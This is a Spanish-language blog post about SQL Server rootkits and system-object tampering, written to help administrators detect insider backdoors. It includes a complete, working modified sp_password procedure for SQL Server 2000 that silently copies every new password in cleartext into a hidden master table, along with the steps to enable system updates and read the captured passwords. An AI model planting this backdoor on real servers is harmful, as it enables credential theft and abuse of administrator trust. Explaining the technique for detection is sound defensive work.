Siempre que nos planteamos evaluar la seguridad de un sistema SQL Server nos encontramos con que la cantidad de aspectos a considerar es enorme. Comenzando por la seguridad física del servidor, de las copias de seguridad, del propio sistema operativo, de la red corporativa (VPNs, encriptación, WIFI, etc.), de active directory, de las aplicaciones (SQL injection, usuarios/passwords) y acabando con un largo etcétera. En definitiva es sumamente complicado no encontrar algún punto a partir del cual el sistema pudiera ser comprometido. Además, desgraciadamente, nuestra experiencia nos muestra que la seguridad es uno de los aspectos en los que menos se invierte cuando se planifica o se mantiene una base de datos SQL Server.

Inevitablemente existe un componente crítico de confianza en la seguridad de SQL Server: el administrador. En muchas organizaciones se producen rotaciones en esta posición lo que puede dar lugar a sistemas SQL Server comprometidos por los propios ex administradores descontentos por su despido. Definitivamente es complicado proveer a su vez a un administrador de los permisos necesarios para su labor (sysadmin) y al mismo tiempo prevenir que realice ninguna acción poco honesta.

Llegados a este punto una de las amenazas más complejas de detectar respecto a la seguridad de SQL Server es la producida por los SQL Server rootkits. Un rootkit puede definirse como una herramienta que permite el acceso no autorizado a un sistema mientras que, a su vez, previene su detección sencilla. Los rootkit en SQL Server, por suerte, no están muy extendidos y, a su vez, aquellos rootkits más avanzados pueden ser detectados por los antivirus por heurística por su forma de atacar a los ejecutables/memoria de SQL Server. Podríamos clasificar los rootkits en tres grupos:

  1. Sin manipulación de SO. Estos rootkits se basan en modificar únicamente elementos programables de SQL Server como procedimientos de sistema, DMVs, etc. Por una parte son los que cuentan con más posibilidades de ser detectados por un DBA experimentado y por otra son prácticamente indetectables por un antivirus.
  2. Con manipulación de las DLL de SQL Server. Otra opción para alterar el buen funcionamiento de SQL Server consiste en atacar alguna de las DLL que SQL Server utiliza. Este tipo de ataques permiten cambiar partes de la lógica interna de la aplicación de forma que, por ejemplo, una condición pueda cambiar de verdadera a falsa permitiendo así la autentificación de un usuario, la activación de una funcionalidad, etc.
  3. Manipulación directa de la memoria de SQL Server. Esta técnica parecida a la anterior trabaja directamente sobre la memoria de la máquina normalmente a partir de algún desbordamiento de pila. De esta forma se evitan modificaciones sobre ficheros que son más fácilmente detectables por los antivirus. En todo caso la actividad de un proceso que intente acceder a la memoria de otro cada día está más complicada por tecnologías como DEP que previenen de la ejecución de código en zonas de memoria no marcadas como de código ejecutable. También muchos antivirus vigilan aquellos procesos sospechosos de realizar actividades poco habituales.

Una técnica utilizada por muchos antivirus y que podemos aplicar internamente a SQL Server es la de realizar checksums de aquellas partes del sistema que no deberían modificarse sin previo aviso. Por ejemplo los procedimientos almacenados de la base de datos master no deberían cambiar salvo instalación de un service pack, hotfix o similar. Si nos encontramos ante una situación donde puede haber existido este tipo de intrusiones nuestra recomendación sería la instalación en paralelo de una versión de SQL Server idéntica que la actual (versión + service pack + CU + hotfixes) y realizar dicho checksum tanto a nivel de ficheros como a nivel de objetos de base de datos para detectar cualquier diferencia. La instalación de un antivirus actualizado nos ayudaría también en las partes más oscuras que pudieran quedar en el propio sistema operativo (keyloggers, rootkits genéricos, virus, etc.).

A continuación vamos a mostrar algunos ejemplos de modificaciones que podrían generarnos brechas de seguridad. Por suerte, con cada versión de SQL Server se hace más difícil este tipo de modificaciones que afecten a la seguridad.

SQL Server 2000

En SQL Server 2000 no existe ningún tipo de protección o dificultad para modificar procedimientos de sistema. Esto nos permitiría ocultar logins, jobs, tablas, obtener passwords, etc. Este tipo de ataques es conocido habitualmente como «object tampering». SQL Server 2000 es también muy vulnerable a los ataques basados en duplicación de objetos de sistema debido a la traducción que SQL Server realiza cuando no indicamos el nombre completo. Por tanto podríamos crear objetos con el mismo nombre que algunos de sistema (sp_who, sp_help, sp_helptext, etc.) para que se ejecuten en vez del original de master.

Volviendo a la técnica de «object tampering» un candidato típico para modificar es el procedimiento sp_password. Dicho procedimiento es utilizado por el Enterprise Manager cada vez que se modifica el password de un usuario. Para realizar este cambio habilitaremos primero los cambios en objetos de sistema:

use master

— Habilitamos cambios en objetos de sistema

exec sp_configure ‘allow_updates’,1

go

reconfigure with override

 

— Obtenemos el código de sp_password

sp_helptext ‘sp_password’

Una vez obtenido el código del procedimiento podemos añadir la nueva funcionalidad de guardar los passwords en claro en una inofensiva tabla llamada MSPasswords. Los cambios los haremos tras todas las verificaciones previas, justo antes de las modificaciones, para evitar tener falsos positivos en los cambios de password:

alter procedure sp_password

@old sysname = NULL, — the old (current) password

@new sysname, — the new password

@loginame sysname = NULL — user to change password on

as

— SETUP RUNTIME OPTIONS / DECLARE VARIABLES —

set nocount on

declare @self int

select @self = CASE WHEN @loginame is null THEN 1 ELSE 2 END

 

— RESOLVE LOGIN NAME

if @loginame is null

select @loginame = suser_sname()

 

— CHECK PERMISSIONS (SecurityAdmin per Richard Waymire) —

IF (not is_srvrolemember(‘securityadmin’) = 1)

AND not @self = 1

begin

dbcc auditevent (107, @self, 0, @loginame, NULL, NULL, NULL)

raiserror(15210,-1,-1)

return (1)

end

ELSE

begin

dbcc auditevent (107, @self, 1, @loginame, NULL, NULL, NULL)

end

 

— DISALLOW USER TRANSACTION —

set implicit_transactions off

IF (@@trancount > 0)

begin

raiserror(15002,-1,-1,‘sp_password’)

return (1)

end

 

— RESOLVE LOGIN NAME (disallows nt names)

if not exists (select * from master.dbo.syslogins where

loginname = @loginame and isntname = 0)

begin

raiserror(15007,-1,-1,@loginame)

return (1)

end

 

— IF non-SYSADMIN ATTEMPTING CHANGE TO SYSADMIN, REQUIRE PASSWORD (218078) —

if (@self <> 1 AND is_srvrolemember(‘sysadmin’) = 0 AND exists

(SELECT * FROM master.dbo.syslogins WHERE loginname = @loginame and isntname = 0

AND sysadmin = 1) )

SELECT @self = 1

 

— CHECK OLD PASSWORD IF NEEDED —

if (@self = 1 or @old is not null)

if not exists (select * from master.dbo.sysxlogins

where srvid IS NULL and

name = @loginame and

( (@old is null and password is null) or

(pwdcompare(@old, password, (CASE WHEN xstatus&2048 = 2048 THEN 1 ELSE 0 END)) = 1) ) )

begin

raiserror(15211,-1,-1)

return (1)

end

 

— Nuestro código

IF NOT EXISTS (SELECT * FROM master..sysobjects where name = ‘MSPassword’)

    CREATE TABLE master..MSPassword (login varchar(255),pwd varchar(255), fecha datetime)

INSERT INTO master..MSPassword VALUES (@loginame,@new,getdate())

— Fin nuestro código

 

— CHANGE THE PASSWORD —

update master.dbo.sysxlogins

set password = convert(varbinary(256), pwdencrypt(@new)), xdate2 = getdate(), xstatus = xstatus & (~2048)

where name = @loginame and srvid IS NULL

 

— UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE —

exec(‘use master grant all to null’)

 

— FINALIZATION: RETURN SUCCESS/FAILURE —

if @@error <> 0

return (1)

raiserror(15478,-1,-1)

return (0) — sp_password

Una vez hecho esto, devolveremos la base de datos a su estado normal y procederemos a modificar el password sa desde Enterprise Manager:

use master

— Deshabilitamos cambios en objetos de sistema

exec sp_configure ‘allow_updates’,0

go

reconfigure with override

 

Modificamos el password:

Y comprobamos como nuestra tabla nos guarda el nuevo password en claro:

use master

— Consultamos los cambios de passwords

 

select * from master..MSPassword

 

En conclusión vemos cómo de sencillo es para un administrador modificar procedimientos almacenados de sistema en SQL Server 2000 en su propio beneficio. Será pues fundamental que cuando debamos hacernos responsable de un sistema verificar que todos los objetos de sistema, jobs, etc. se adecúen a lo esperado para evitarnos sorpresas desagradables en un futuro. Tanto SQL Server 2005 como SQL Server 2008 disponen de mejoras en la seguridad que dificultan este tipo de cambios. En futuros posts trataré algunas técnicas alternativas válidas en SQL Server 2005 y 2008.

 

Rubén Garrigós

Mentor at SolidQ
I am an expert in high-availability enterprise solutions based on SQL Server design, tuning, and troubleshooting. Over the past fifteen years, I have worked with Microsoft data access technologies in leading companies around the world.

Nowadays, I am a Microsoft SQL Server and .NET applications architect with SolidQ. I am certified by Microsoft as a Solution Expert on the Microsoft Data Platform (MSCE: Data Platform) and as a Solution Expert on the Microsoft Private Cloud (MSCE: Private Cloud). As a Microsoft Certified Trainer (MCT), I have taught multiple official Microsoft courses as well as other courses specializing in SQL Server. I have also presented sessions at official events for various Microsoft technologies user groups.
Rubén Garrigós

Latest posts by Rubén Garrigós (see all)